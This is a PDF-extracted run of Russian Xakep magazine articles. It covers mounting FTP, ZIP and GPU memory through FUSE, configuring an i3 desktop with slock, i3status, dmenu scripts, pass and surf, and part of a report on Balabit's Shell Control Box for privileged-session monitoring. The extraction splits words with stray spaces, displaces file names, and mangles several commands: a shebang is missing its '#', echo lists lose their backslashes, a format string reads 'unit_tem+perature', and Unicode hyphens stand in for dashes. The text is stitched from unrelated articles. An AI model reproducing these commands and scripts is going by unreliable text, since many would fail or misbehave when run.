FtpFS

Пос ледова тель ность  шагов  при  мон тирова нии  такова.  Соз даем  каталог,

в который будет смон тирован уда лен ный каталог:

$ mkdir ~/ftp

Мон тиру ем, ука зывая, если нуж но, логин и пароль:

$ curlftpfs ftp.yourserver.com ~/ftp ‐o user=пользователь:пароль

От редак тировав  сле дующую  стро ку  в  соот ветс твии  со  сво ими  дан ными

и помес тив ее в  , мож но зас тавить сис тему мон тировать узел FTP

авто мати чес ки при заг рузке:

/etc/fstab

$ curlftpfs#ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ@ftp.domain.org /каталог/монтирования 

fuse auto,user,uid=1000,allow_other,_netdev 0 0

Проб лемы,  свя зан ные  с  исполь зовани ем  на  сер верах  сим волов,  отличных

от латин ских и не под держи ваемых UTF‐8 (нап ример, codepage="iso8859‐1"),

поможет пре одо леть  .codepage="string"

Для авто мати чес кого вво да учет ных дан ных во вре мя под клю чения к уда‐ 

лен ному  узлу  дос таточ но  соз дать  в  домаш нем  катало ге  файл    (не

забыв chmod 600) сле дующе го содер жания:

.netrc

machine адрес_ftp

login имя_пользователя

password пароль

Раз монти рова ние:

$ fusermount ‐u ~/ftp

Мон тирова ние FTP‐сер вера, запущен ного на смар тфо не, в фай ловую

сис тему компь юте ра

9. FUSE-ZIP

Слу чает ся  так:  пишешь  статью,  запако выва ешь  ее  вмес те  с  иллюс тра циями

в  ZIP‐архив,  отправ ляешь  в  жур нал,  а  ковар ный  редак тор  воз вра щает

на доработ ку. Не страш но. Ведь ты мон тиру ешь архив в сис тему с помощью

 и можешь редак тировать его содер жимое до блес ка без рас паков ки.fuse‐zip

Го товые пакеты есть в Debian, Ubuntu, Fedora и Gentoo. В Arch Linux дос‐ 

тупен  в  AUR.  Исполь зование  fuse‐zip  сво дит ся  к  выпол нению  сле дующей

коман ды:

$ fuse‐zip архив.zip /каталог/монтирования

Ес ли в момент мон тирова ния ука зан ного в коман де архи ва не сущес тву ет, он

будет соз дан пос ле раз монти рова ния фай ловой сис темы.

$ fusermount ‐u /каталог/монтирования

В  боль шинс тве  ZIP‐архи вов  имя  фай ла  задано  без  ука зания  кодиров ки.

Для  кор рек тно го  отоб ражения  имен  фай лов  необ ходимо  под клю чение

модуля  iconv с помощью клю ча коман дной стро ки 

.  Для  архи вов,  соз данных  в  Windows

и чаще все го под вержен ных подоб ной проб леме, коман да для мон тирова ния

будет выг лядеть так:

‐omodules=iconv,from_‐

code=$charset1,to_code=$charset2

$ fuse‐zip ‐omodules=iconv,from_code=CP866,to_code=UTF‐8 архив.zip /

каталог/монтирования

Мон тирова ние ZIP‐архи ва в режиме отладки в фай ловую сис тему компь ‐

юте ра

10. VRAMFS

Тот,  кто  раз жился  ASIC  и  перес тал  май нить  на  виде окар те,  может  исполь‐ 

зовать  выс вободив шиеся  ресур сы  на  ней  для  хра нения фай лов  с  помощью

. Объ емы виде опа мяти невели ки (хотя кто зна ет, чем пораду ют нас вен‐ 

доры зав тра), зато ско рость записи и чте ния выше, чем у SSD.

vramfs

Для  сбор ки  vramfs  тре буют ся  libfuse‐dev,  opencl,  opencl‐dev  исходни ки

и коман да

$ make

Мон тиру ется коман дой

$ bin/vramfs <каталог> <размер>

Раз мер  мон тиру емой  памяти  рекомен дован  в  пре делах  50%  от  дос тупной

виде опа мяти.

Ес ли кто‐то меч тает об инс тру мен те, спо соб ном смон тировать к его сис теме

неч то  нас толь ко  спе цифич ное,  что  подоб ное  кажет ся  нево обра зимым,

не сто ит сра зу записы вать его в сумас шедшие. Воз можно, такой инс тру мент

уже дела ют.

Не веришь? Тог да взгля ни на   от Кри са Мар шалла. Чувак раз‐ 

вле кает ся  тем,  что мон тиру ет  компь ютер ную игру в  качес тве фай ловой сис‐ 

темы. Про ект еще доволь но сырой, и воз можнос ти его более чем скром ные.

Автор не стес няет ся сам об этом пре дуп редить. Но что‐то мне под ска зыва ет,

что озву чен ные им там же пла ны будут рано или поз дно воп лощены в реаль‐ 

ность.

DungeonFS

КОГДА ВСЁ — ФАЙЛЫ
Ес ли опе раци онная сис тема в сво ем циф ровом мире счи тает фай лом даже

неоче вид ные  вещи,  сущес тво вание  в  ней  инс тру мен та,  подоб ного  FUSE,

не кажет ся чем‐то надуман ным. Пред став ленные выше фай ловые сис темы —

лишь  вер хушка  айсбер га.  И  даже  перечень  импле мен таций  libfuse  на  сай те

самого про екта — лишь попыт ка авто ров модуля упо рядо чить извес тные (им)

спо собы его исполь зования.

https://github.com/johang/btfs
https://github.com/libfuse/sshfs
https://github.com/Skycoder42/qsshfs
http://curlftpfs.sourceforge.net/
https://bitbucket.org/agalanin/fuse-zip
https://github.com/Overv/vramfs
https://github.com/ChrisRx/dungeonfs
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UNIXOID

Не дав но  мы  сде лали  базовую  нас трой ку  гик‐дес кто па
на базе  i3, но за кад ром оста лось мно жес тво более мел ких
и не сов сем оче вид ных вещей. Сегод ня мы закон чим довод‐ 
ку  рабоче го  сто ла  до  сос тояния  иде ала:  научим  dmenu
управлять  яркостью,  гром костью  и  SSH‐под клю чени ями,
уста новим  пра виль ный  менед жер  паролей,  внед рим  в  дес‐ 
ктоп  перевод чик  любых  выб ранных  слов  и  фраз,  добавим
в  ста тус ную  панель  информа цию  о  погоде,  уста новим  бло‐ 
киров щик  экра на  и  быс трый,  управля емый  хот кеями  бра‐ 
узер.

На пом ню, что в дан ный момент у тебя уже дол жна быть базовая инстал ляция
i3 с окном логина slim, тер миналом lilyterm, демоном авто мон тирова ния dev‐
mon, сис темой показа уве дом лений twmnd, аппле том перек лючения рас клад‐ 
ки gxkb и  ком позит ным менед жером compton. Это впол не самодос таточ ный
дес ктоп,  которым  мож но  без  проб лем  поль зовать ся.  Но  есть  мно жес тво
более  мел ких  вещей,  которые мы  не  зат ронули  в  пре дыду щей  статье.  Нап‐ 
ример, у нас до сих пор нет бло киров щика экра на, той самой шту ки, которая
тре бует пароль пос ле прос тоя или про буж дения ком па от спяч ки.

Ес ли  чего‐то  из  вышепе речис ленно го  нет,  обя‐ 
затель но  пос мотри 

.
пер вую  часть  наших  прик‐ 

лючений

БЛОКИРОВЩИК ЭКРАНА SLOCK
Slock — чрез вычай но прос той бло киров щик экра на. Нас толь ко прос той,  что
в нем нет даже поля вво да для пароля. Он прос то показы вает чер ный экран,
цвет  которо го  меня ется  на  синий,  ког да  ты  вво дишь  пароль,  и  на  крас ный,
если пароль неверен.

Slock дос тупен во мно гих дис три бути вах в фор ме обыч ного пакета. В Arch
Linux его мож но уста новить так:

$ sudo pacman ‐S slock

Пос ле  это го  выпол ни  коман ду  ,  что бы  заб локиро вать  экран.  Что бы
экран бло киро вал ся перед ухо дом ком па в сон, сле дует соз дать юнит systemd
сле дующе го содер жания:

slock

[Unit]
Description=Lock X session using slock for user %i
Before=sleep.target
[Service]
User=%i
Environment=DISPLAY=:0
ExecStartPre=/usr/bin/xset dpms force suspend
ExecStart=/usr/bin/slock
[Install]
WantedBy=sleep.target

По мес ти эти стро ки в файл  , а затем
акти вируй юнит для текуще го поль зовате ля:

/etc/systemd/system/slock@.service

$ sudo systemctl enable slock@ИМЯ_ЮЗЕРА.service

Те перь slock будет авто мати чес ки акти виро ван при перехо де ноут бука в сон.

НАСТРОЙКА СТРОКИ СОСТОЯНИЯ
Мно гие поль зовате ли  i3 рекомен дуют менять стан дар тную стро ку сос тояния
i3status на неч то более прог рессив ное, фун кци ональ ное, кра сивое и замеча‐ 
тель ное. В этом есть опре делен ный смысл, но сто ит учи тывать, что, в отли чие
от  прос того  i3status,  мно гие  дру гие  реали зации  написа ны  на  язы ках  bash
и  Python,  что  дела ет  их  менее  эффектив ными  и  более  тре бова тель ными
к ресур сам.

По это му я рекомен дую исполь зовать i3status, но нес коль ко рас ширить его
фун кци ональ ность.  Пер вое,  что  сто ит  сде лать,  —  это  раз местить  в  стро ке
не толь ко вре мя, но и текущую дату и день недели. Для это го надо все го лишь
испра вить  дирек тиву    в  фай ле    так,  что бы
она выг лядела сле дующим обра зом:

tztime  local ~/.i3status.conf

tztime local {
   format = "%a %Y‐%m‐%d %H:%M:%S"
}

Так же ты можешь отклю чить ненуж ные тебе раз делы стро ки сос тояния, прос‐ 
то заком менти ровав стро ки, начина ющиеся с  :order

#order += "run_watch DHCP"

Эта  стро ка  отклю чает  показ  информа ции  о  ста тусе  DHCP.  Меняя  мес тами
стро ки  , мож но поменять рас положе ние эле мен тов в стро ке.order

Ты  можешь  стол кнуть ся  с  тем,  что  стро ка  не  отоб ража ет  информа цию
о сос тоянии сети. Обыч но проб лема зак люча ется в невер ных име нах сетевых
устрой ств  в  кон фиге. Сто ит  запус тить  коман ду  ,  что бы  узнать  пра‐ 
виль ные  име на,  а  затем  про писать  их  в  кон фиг  i3status.  Устрой ства  с  име‐ 
нами, начина ющи мися на en, — это Ethernet‐адап теры, wl — Wi‐Fi.

ifconfig

Вот при мер нас тро ек i3status для моего ноут бука:

wireless wlp3s0 {
   format_up = "W: (%quality at %essid) %ip"
   format_down = "W: down"
}
ethernet enp0s25 {
   format_up = "E: %ip (%speed)"
   format_down = "E: down"
}

Кро ме ста туса сети, батареи, вре мени, тебе так же может понадо бить ся инфа
о текущем уров не гром кости. Ее лег ко добавить с помощью такого бло ка:

volume master {
   format = "♪ %volume"
   format_muted = "♪ muted (%volume)"
   device = "default"
   mixer = "Master"
   mixer_idx = 0
}

и соот ветс тву ющей стро ки в начале кон фига:

order += "volume master"

ПОГОДА В СТРОКЕ СОСТОЯНИЯ
Стро ка может отоб ражать огромное количес тво раз ной информа ции. Но чего
в ней нет, так это средств для вывода информа ции о погоде. К счастью, проб‐ 
лему мож но решить с помощью скрип тов.

Для начала ска чаем скрипт weather.py:

$ mkdir ~/bin
$ cd ~/bin
$ wget https://raw.githubusercontent.com/calzoneman/i3‐weather/master
/weather.py
$ chmod +x weather.py

Ус тановим необ ходимые для его работы зависи мос ти:

$ sudo pacman ‐S python‐requests python‐beautifulsoup4

Да лее  откры ваем  кон фиг  i3  ( ),  находим  сле дующие
стро ки:

~/.config/i3/config

bar {
   status_command i3status
}

Ме няем их на такие:

bar {
   status_command i3status | /home/ИМЯ_ЮЗЕРА/bin/weather.py 2122265 
‐‐wrap‐i3‐status ‐‐unit c ‐‐format "{text}, {temp}°{
unit_tem+perature}"
}

Чис ло  2  122  265  в  стро ке —  это WOEID,  уни каль ный  иден тифика тор,  прис‐ 
ваиваемый  всем  объ ектам  на  зем ле.  Най ти  WOEID  сво его  города  мож но

 или на одном из мно жес тва дру гих подоб ных сай тов.здесь

ПЕРЕВОД ВЫДЕЛЕННОГО ТЕКСТА
Не  все  из  нас могут  пох вастать ся  иде аль ным  зна нием  хотя  бы  англий ско го
язы ка.  В  докумен тации  то  и  дело  прос какива ют  сло ва  и  фра зы,  которые
без перевод чика понять невоз можно. При ходит ся откры вать Google Translate,
копиро вать и  встав лять  стро ку,  затем воз вра щать ся обратно и  так  по мно гу
раз.

К  счастью,  дело  мож но  сущес твен но  упростить,  если  вос поль зовать ся
скрип том  . Прос то уста нови его:translate‐shell

$ mkdir ~/bin
$ wget git.io/trans
$ chmod +x ./trans

И перево ди текст пря мо в кон соли:

$ trans :ru "Hello, world"

Это  про ще,  чем  откры вать  Google  Translate  в  бра узе ре,  но  до  сих  пор
не  слиш ком  удоб но.  Пой дем  на  один  шаг  даль ше  и  сде лаем  так,  что бы
перевод  выделен ного  тек ста  появ лялся  на  экра не  по  нажатию  горячей  кла‐ 
виши.

Для начала соз дадим скрипт  :~/bin/trans‐notify.sh

#!/bin/sh
text=`xclip ‐selection primary ‐o`
trans=`~/bin/trans :ru ‐brief "$text"`
notify‐send "$trans"

Он исполь зует ути литу xclip для получе ния выделен ного в дан ный момент тек‐ 
ста,  затем  перево дит  его  с  помощью  trans  и,  наконец,  генери рует  уве дом‐ 
ление, содер жащее переве ден ный текст.

Этот  скрипт  мож но  запус кать  пря мо  из  кон соли,  но  луч ше  повесить
на  горячую кла вишу  i3, нап ример Win + T. Для это го открой кон фиг 

 и добавь в него сле дующую стро ку:
~/.con‐

fig/i3/config

bindsym $mod+t exec trans‐notify.sh

Сох рани и перезаг рузи кон фиг с помощью Win + Shift + R. Теперь поп робуй
выделить текст и нажать Win + T. На экра не дол жен появить ся перевод.

Ес ли какие‐то из при веден ных в статье скрип тов
или  команд  не  работа ют,  убе дись,  что  в  фай ле

  есть  стро ка 
.  А  если  ее  нет  —

добавь  и  перезаг рузи машину  либо  переза пус ти
Xorg.

~/.xsession export
PATH=$HOME/bin/:$PATH

DMENU
В прош лой статье мы уже говори ли о dmenu. Это динами чес кое меню, офор‐ 
млен ное  в  сти ле  коман дной  стро ки  с  авто допол нени ем.  По  умол чанию
i3  исполь зует  dmenu  для  запус ка  при ложе ний  по  кла више Win  + D.  Но  есть
и гораз до более инте рес ные спо собы его при мене ния.

Dmenu —  очень  прос тая  ути лита,  соз данная  по  всем  канонам UNIX Way.
Сама  она  ничего  не  запус кает,  а  лишь  поз воля ет  выб рать  стро ку  из  спис ка
строк, передан ных на ее вход. Если ты выпол нишь сле дующую коман ду:

$ echo "Один\nДва\nТри" | dmenu

то уви дишь на экра не dmenu с вари анта ми: Один, Два и Три. Пос ле выбора
одно го из них коман да завер шится, напеча тав на экра не выб ранный вари ант.

Нем ного усложним при мер:

$ ls /bin /sbin /usr/bin /usr/sbin | dmenu | sh

Мы получи ли запус калку соф та, поч ти такую же, какая встро ена в i3. «Поч ти»,
потому что шрифт явно не тот. Его луч ше поменять:

$ ls /bin /sbin /usr/bin /usr/sbin | dmenu ‐fn 'xos4 Terminus‐8' | sh

А  мож но  пой ти  нем ного  даль ше  и  прис пособить  dmenu  для  сов сем  дру гих
целей.

Уп равле ние гром костью
Dmenu  удоб но  исполь зовать  для  управле ния  гром костью.  Прос то  соз дай
такой скрипт ( ):~/bin/volume_menu.sh

!/bin/sh
percent=`echo ‐e "0n10n20n30n40n50n60n70n80n90n100" | dmenu ‐fn 
'xos4 Terminus‐8' ‐p volume`
amixer ‐q set Master ${percent}% unmute

Пос тавь на него бит исполне ния:

$ chmod +x ~/bin/volume_menu.sh

По весь на горячую кла вишу (пусть это будет Win + N), добавив такую стро ку
в кон фиг i3 ( ):~/.config/i3/config

bindsym $mod+n exec volume_menu.sh

Ву аля,  нажима ешь Win  + N —  и  у  тебя  появ ляет ся меню  с  выбором  уров ня
гром кости. При чем сов сем необя затель но исполь зовать при веден ные мной
гра дации (от 0 до 100 с шагом 10), ты можешь ука зать свои.

Уп равле ние яркостью
Точ но  таким  же  обра зом  мож но  управлять  яркостью.  Скрипт 

:
~/bin/back‐

light_menu.sh

#!/bin/sh
percent=`echo ‐e "0n10n20n30n40n50n60n70n80n90n100" | dmenu ‐fn 
'xos4 Terminus‐8' ‐p backlight`
xbacklight ‐set $percent

Стро ка для кон фига i3:

bindsym $mod+b exec backlight_menu.sh

Быс трое под клю чение к SSH
Фак тичес ки  dmenu  мож но  исполь зовать  для  выпол нения  любых  дей ствий
и команд,  которые пред полага ют наличие нес коль ких вари антов. Нап ример,
вот скрипт для под клю чения к SSH‐хос там, уже зна комым тво ей машине:

#!/bin/sh
cmd=$1
result=`sed "s/[, ].*//" ~/.ssh/known_hosts | sort ‐u | dmenu ‐fn 
'xos4 Terminus‐8' ‐p ssh`
exec $cmd $result

Стро ка для кон фига i3:

bindsym $mod+Control+Return exec ssh_menu.sh 'lilyterm ‐s ‐e ssh'

mailto:zobnin@glc.ru
https://xakep.ru/2017/03/22/geek-desktop/
http://zourbuth.com/tools/woeid/
https://github.com/soimort/translate-shell
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UNIXOID  НАЧАЛО СТАТЬИ←

МЕНЕДЖЕР ПАРОЛЕЙ PASS
Для  Linux  сущес тву ет  мно жес тво  раз нооб разных  менед жеров  паролей,
от встро енных в Chrome и Firefox до обо соб ленно го KeePass, который хра нит
все пароли на локаль ной машине. Боль шинс тво из них — гра фичес кие при‐ 
ложе ния, которые никак не впи сыва ются в наш кон соль ный аске тич ный дес‐ 
ктоп, но есть сре ди них и более гиковые вещи, нап ример pass.

Ме нед жер паролей   — прос тая кон соль ная ути лита, которая поз воля‐ 
ет добав лять зашиф рован ные пароли в локаль ную базу, извле кать их, а так же
быс тро копиро вать в буфер обме на или генери ровать новые.

pass

Pass дос тупен во всех популяр ных дис три бути вах. Нап ример, в Arch Linux
его мож но уста новить так:

$ sudo pacman ‐S pass

Да лее сле дует сге нери ровать PGP‐ключ, если у тебя его еще нет:

$ gpg2 ‐‐gen‐key

Ко ман да поп росит тебя ввес ти имя (твое или имя клю ча) и email, пос ле чего
под вигать мыш кой и понажи мать кноп ки для получе ния энтро пии.

Ге нери руем ключ

Ког да генера ция клю ча будет закон чена, мож но ини циали зиро вать базу pass,
ука зав имя клю ча:

$ pass init 'ИМЯ'

Да лее  мож но  начинать  добав лять  пароли,  луч ше  сра зу  генери ровать  их
на мес те, нап ример:

$ pass generate xakep.ru 15

Эта коман да сге нери рует пароль из пят надца ти сим волов для сай та xakep.ru.
Прос мотреть пароль мож но с помощью такой коман ды:

$ pass xakep.ru

Ско пиро вать в буфер обме на такой:

$ pass ‐c xakep.ru

А уда лить с помощью такой:

$ pass rm xakep.ru

Прос мотреть всю базу мож но, запус тив pass без аргу мен тов:

$ pass

Спи сок паролей pass

Pass  хра нит  базу  паролей  в  катало ге  ,  каж дый  пароль
в  сво ем  собс твен ном  фай ле.  Ты  можешь  соз давать  в  базе  новые  катало ги
и переме щать в них фай лы с пароля ми для более удоб ного управле ния. Уда‐ 
ление фай ла пароля при ведет к уда лению пароля из базы pass.

~/.password‐store/

Кро ме  того,  каталог    мож но  раз местить  в  Dropbox,
что бы иметь воз можность работать с ним с любой машины.

~/.password‐store/

Для  тех,  кто  пред почита ет  гра фичес кие  при ложе ния,  есть  гра фичес кая
реали зация pass под наз вани ем  .QtPass

QtPass

Им порт паролей из KeePass
Для  pass  сущес тву ет  мно жес тво  раз личных  инс тру мен тов  импорта  паролей
из  дру гих  при ложе ний  (ссыл ки  на  них  есть  в  кон це  глав ной  стра ницы  офи‐ 
циаль ного  сай та).  Нап ример,  импорти ровать  пароли  из  KeePass  мож но
с помощью keepass 2pass.py:

$ wget https://git.zx2c4.com/password‐store/plain/contrib/importers/
keepass2pass.py
$ chmod +x keepass2pass.py
$ ./keepass2pass.py ‐f database.xml

Здесь   — это экспор тирован ная из KeePass база паролей.database.xml

Быс трое копиро вание пароля с помощью dmenu
Бла года ря  прос тоте  pass  его  очень  лег ко  интегри ровать  с  нашим  рабочим
сто лом и dmenu. Скрипт для dmenu уже сущес тву ет, и его дос таточ но все го
лишь ска чать и повесить на ком бинацию кла виш i3:

$ cd ~/bin
$ wget https://git.zx2c4.com/password‐store/plain/contrib/dmenu/
passmenu
$ chmod +x passmenu

В кон фиг   добав ляем стро ку:~/.config/i3/config

bindsym $mod+p exec passmenu

Те перь по нажатию Win + P откро ется dmenu с выбором пароля. При выборе
пароль будет ско пиро ван в буфер обме на на 45 секунд.

Ин тегра ция с бра узе ром
Для пущего удобс тва pass мож но интегри ровать с бра узе ром. Для это го уста‐ 
нови при ложе ние  :browserpass

$ yaourt ‐S browserpass

И рас ширение для   или  .Chrome Firefox
Да лее  дос таточ но  перей ти  на  стра ницу  логина  нуж ного  сай та,  нажать

кноп ку  рас ширения.  Поля  будут  запол нены  авто мати чес ки.  Но  толь ко  в  том
слу чае, если вмес те с паролем в базе записан логин в фор мате «login: логин»
или «username: логин».

При  импорте  из  KeePass  скрипт  сам  добавит  эти  поля,  так же  их  мож но
добавить с помощью такой коман ды:

$ pass edit xakep.ru

Прос то впи ши стро ку   сра зу пос ле пароля.username: твой_логин

При ложе ние для телефо на
Для   и   есть сов мести мые с pass менед жеры паролей. Что бы вос‐ 
поль зовать ся  ими,  необ ходимо  экспор тировать  ключ,  исполь зуемый
для шиф рования базы паролей:

iOS Android

$ gpg ‐‐export‐secret‐key ‐a "ИМЯ" > private.key

и вмес те с базой паролей перенес ти их в память устрой ства. В слу чае с при‐ 
ложе нием для Android  так же  пот ребу ется  уста новить  . Имен но
в него необ ходимо импорти ровать ключ GPG.

OpenKeychain

Pass для Android

БРАУЗЕР SURF
О том, нас коль ко тяжело вес ны и про жор ливы сов ремен ные бра узе ры, зна ет
любой, кто хотя бы раз заходил в интернет. Наш дес ктоп — эта лон лег ковес‐ 
ности и прос тоты, поэто му обыч ный бра узер в него сов сем не впи сыва ется,
нуж но что‐то дру гое. И у нас есть три вари анта:

 — весь ма прод винутый тек сто вый (!) бра узер с под дер жкой JS. Лет
этак 10–15 назад был весь ма популя рен сре ди тех ногиков, хакеров и про‐ 
чих стран ных лич ностей, но сегод ня из‐за отсутс твия под дер жки CSS при‐ 
годен толь ко для прос мотра сов сем прос тых сай тов;

• ELinks

  —  очень  быс трый  гра фичес кий  бра узер  с  под дер жкой  HTML
4 и CSS 2.1 (но не HTML 5 и CSS 3) и час тичной под дер жкой JS. Сла бо под‐ 
ходит для работы с Gmail  или Facebook,  но поз воля ет более‐менее  ком‐ 
фор тно прос матри вать доб рую полови ну интерне та;

• NetSurf

  —  минима лис тичный  бра узер  от  ребят  из  про екта  SuckLess.  Пред‐ 
став ляет  собой  голое  окно  с  запущен ным  WebKit.  Ни  кно пок,  ни  меню,
ни  адресной  стро ки,  ничего,  кро ме  окна  с  отоб ража емым  сай том.
Управле ние пол ностью с кла виату ры.

• surf

Мол ниенос ный NetSurf

Имен но  surf  луч ше  все го  впи сыва ется  в  наш  дес ктоп.  Он  кор рек тно  отоб‐ 
ража ет любые сай ты и при этом нас толь ко минима лис тичный, нас коль ко воз‐ 
можно.

Луч ший  спо соб  исполь зовать  surf  в  окру жении  i3  —  это  запус тить  его
на  отдель ном  дес кто пе,  перек лючен ном  на  tabbed  layout  (Win  + W).  Перек‐ 
лючись на новый дес ктоп с помощью Win + циф ра, наж ми Win + W, затем Win +
D, что бы открыть dmenu, вбей в него  , на экра не появит ся сайт
xakep.ru.  Вновь  открой  dmenu,  вбей  ,  на  экра не  появит ся
google.com.  Стро ка  заголов ков  окон  при  этом  будет  отоб ражать  и  пер вое,
и  вто рое  окно,  так  что  перек лючать ся  меж ду  окна ми  surf  мож но  на  манер
перек лючения меж ду табами.

surf xakep.ru
surf  google.com

Surf пол ностью управля ется с кла виату ры, так что луч ше сра зу запом нить
наибо лее полез ные сочета ния:

Ctrl + h / Ctrl + l — навига ция назад/впе ред по исто рии;•
Ctrl + + / Ctrl + ‐ — мас шта биро вание;•
Ctrl + / — стро ка поис ка;•
Ctrl + n — перей ти к сле дующе му резуль тату поис ка;•
Ctrl + g — адресная стро ка (с помощью dmenu);•
Ctrl + p — перей ти по адре су, сох ранен ному в буфер обме на;•
Ctrl + Shift + a — под твер дить сог ласие на получе ние кукисов;•
Ctrl + Shift + o — Developer Tools;•
Ctrl + Shift + s — вклю чить/отклю чить скрип ты.•

Surf  под держи вает  кукисы и не под держи вает мно гие атри буты стан дар тных
бра узе ров, но всем им есть замена:

та бы — исполь зуй воз можнос ти  i3,  как показа но выше, или запус кай surf
через  ;

•
tabbed

па роли и фор мы — исполь зуй pass и скрипт для dmenu;•
зак ладки — напиши скрипт или али ас для bash,  которые будут откры вать
нуж ный сайт с помощью surf;

•

• быс трый поиск из адресной стро ки — исполь зуй такой скрипт:

#!/bin/sh
query=`echo "$@" | tr " " +`
surf google.com/search?q=$query

На зови его google, положи в   и дай пра ва на исполне ние. Что бы быс тро
выпол нить  поиск  через  Google,  прос то  открой  dmenu  и  вве ди 

.

~/bin
google  как

использовать surf и не сойти с ума

Три «таба» surf

Еще одна инте рес ная осо бен ность surf — мож но отклю чить те или иные воз‐ 
можнос ти бра узе ра пря мо на стар те с помощью клю чей:

 — отклю чить кеш;• ­d
 — не делить ся мес тополо жени ем;• ­g
 — отклю чить показ изоб ражений;• ­i
 — отклю чить Developer Tools;• ­n
 — отклю чить пла гины;• ­p
 — отклю чить JS.• ­s

ВМЕСТО ВЫВОДОВ
Я бы мог про дол жать рас сказ о дес кто пе для гиков еще дол го. Есть огромное
количес тво  раз нооб разных  решений,  так  или  ина че  скра шива ющих  жизнь
любите ля  UNIX  Way  и  прос того  соф та  в  эпо ху  слож ных,  тол стых  и  край не
неудоб ных  при ложе ний,  которы ми  забиты  ком пы  обыч ных  юзе ров.  Если
хочешь, что бы я зат ронул в сле дующей статье какую‐то тему, — пиши в ком‐ 
мента риях.

https://www.passwordstore.org/
https://qtpass.org/
https://github.com/dannyvankooten/browserpass
https://chrome.google.com/webstore/detail/browserpass/jegbgfamcgeocbfeebacnkociplhmfbk
https://addons.mozilla.org/en-US/firefox/addon/browserpass/
https://mssun.github.io/passforios/
https://play.google.com/store/apps/details?id=com.zeapo.pwdstore
https://play.google.com/store/apps/details?id=org.sufficientlysecure.keychain
http://elinks.or.cz/
http://www.netsurf-browser.org/
http://surf.suckless.org/
http://tools.suckless.org/tabbed/
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На  пер вый  взгляд  фир ма  Balabit  при меча тель на  дву мя
вещами: во‐пер вых, там соз дали популяр ную сис тему сбо ра
логов syslog‐ng, во‐вто рых, это успешная ком пания, которая
занима ется  информа цион ной  безопас ностью  в  Вен грии —
стра не,  извес тной  ско рее  кулина рией,  чем  ИТ.  Одна ко,
помимо  syslog‐ng,  в  Balabit  дела ют  и  дру гие  инте рес ные
про дук ты. На них‐то нас и поз вали пос мотреть.

Два десят ка жур налис тов со всех стран соб рались за длин ным сто лом. Два
мес та в цен тре занима ют хозя ева — Зол тан Дьёр кё и Балаж Шай длер. Они
рас ска зыва ют о том, как уже двад цать лет назад, еще ког да были сту ден тами,
задума ли  соз дать  свою  ком панию.  «Так  выш ло,  что  информа цион ная
безопас ность  ока залась  для  нас  самой  близ кой  темой»,  —  рас ска зыва ет
Дьёр кё.

Пер вым  про дук том  Balabit  стал  syslog‐ng  —  средс тво  агре гации  логов
UNIX,  по  сути  улуч шенная  вер сия  демона  syslogd.  Про дукт  ока зал ся
успешным; к двух тысяч ному году ком пания вырос ла, и свет уви дел вто рой ее
про дукт — фай рвол Zorp.

Се год ня Balabit может пох вастать ся солид ными кли ента ми со все го мира
и фили ала ми в пяти стра нах, помимо Вен грии. «Открыть немец кий рынок нам
помог кон тракт с Deutsche Telekom», — рас ска зыва ет Зол тан Дьёр кё. В Рос‐ 
сии с Balabit сот рудни чают МТС, банк «Тинь кофф» и Уни вер ситет Скол ково.

Од нако  самым  важ ным рын ком,  как  и  для  любой  ком пании,  работа ющей
в  сфе ре  ИБ,  оста ются  США.  Вый ти  на  него,  по  сло вам  Дьёр кё,  ока залось
неп росто,  одна ко  недав ний  кон тракт  с  Adobe  все ляет  в  руководс тво  ком‐ 
пании надеж ду на то, что и он пос тепен но под дас тся.

Из вес тность  приш ла  к  Balabit  бла года ря  syslog‐ng:  как  говорит  Дьёр кё,
«Опен сорс — это копье!». Воз можно, на вен гер ском этот лозунг зву чит менее
необыч но, но смысл крис таль но ясен.

SHELL CONTROL BOX
Три  стол па  кор поратив ной  безопас ности  —  это  фай рво лы,  менед жеры
паролей и сис темы SIEM, которые ана лизи руют события в реаль ном вре мени.
Но  что бы  убе речь ся  не  толь ко  от  внеш них  угроз,  но  и  от  внут ренних,  это го
ока зыва ется мало.

Что  сде лать,  что бы  от  лица  при виле гиро ван ного  поль зовате ля  нель зя
было нат ворить  вся ких бед? Пра виль но:  вни матель но  за ним сле дить. Этим
и занима ются сис темы PAM — Privileged Access Management. В исполне нии
Balabit  такая  сис тема  (вер нее,  ее  основная  часть,  называ емая  Shell  Control
Box или SCB) смот рится прос то‐таки зре лищ но.

Де мо,  которое  менед жеры  Balabit  показы вают  кор поратив ным  кли ентам,
выг лядит  так. Поль зователь  как  ни  в  чем  не  бывало  под клю чает ся  к  одно му
из внут ренних ресур сов сети и выпол няет опре делен ные дей ствия. В панели
адми нис тра тора Shell Control Box при этом появ ляет ся  запись о новой сес‐ 
сии.  Клик нув  по  ней,  адми нис тра тор  видит  спи сок  вво димых  команд  или  (в
слу чае с гра фичес кой сес сией) спи сок заголов ков откры вав шихся окон.

Еще один клик, и перед нами пред ста ет пле ер — дос таточ но нажать кноп‐ 
ку Play, и вся сес сия нач нет про игры вать ся подоб но скрин касту. При желании
мож но пос мотреть информа цию о каж дой нажатой кла више или кли ке мыши.
Спи сок заголов ков окон или наз ваний кон соль ных команд помога ет ори енти‐ 
ровать ся — сис тема получа ет их при помощи OCR.

Вот  как  выг лядит  адми нис тра тор ская  сто рона  Shell  Control  Box.  На  глав ном
экра не  мы  видим  гра фик  активнос ти  поль зовате лей  и  спи сок  сес сий,
по которо му мож но искать.

Нас трой ки политик RDP.

И нас трой ки политик SSH.

Ког да Shell Control Box перех ватыва ет обмен клю чами шиф рования, он соз‐ 
дает  допол нитель ную  пару  клю чей  и  затем  может  монито рить  весь  тра фик.
Для  поль зовате ля  при  этом  про цесс  выг лядит  совер шенно  обыч ным  обра‐ 
зом — так, буд то он под клю чает ся нап рямую к сер веру.

До пол нитель ные нас трой ки SSH

А вот что мы уви дим, клик нув на любой записан ной сес сии.

Каж дому  дей ствию  может  прис ваивать ся  рей тинг  в  зависи мос ти  от  его
потен циаль ной опас ности.

За голов ки окон и дей ствия поль зовате ля (это сес сия RDP).

А вот собс твен но пле ер. Нажима ешь Play и смот ришь кино.

Не всем адми нис тра торам нуж ны пол ные нас трой ки — мож но задать груп пы
поль зовате лей и спра ва выб рать, какие пун кты меню будут им дос тупны.

Фун кция Four‐Eyes пред назна чена для того, что бы сисад мин (в тер минах Bal‐
abit — «авто риза тор») мог раз решить или зап ретить сес сию, а мог пос ледить
за ней в режиме реаль ного вре мени. Отсю да и наз вание — «Четыре гла за».
На  скрин шоте  —  интерфейс,  который  видит  авто риза тор.  Это,  по  сути,
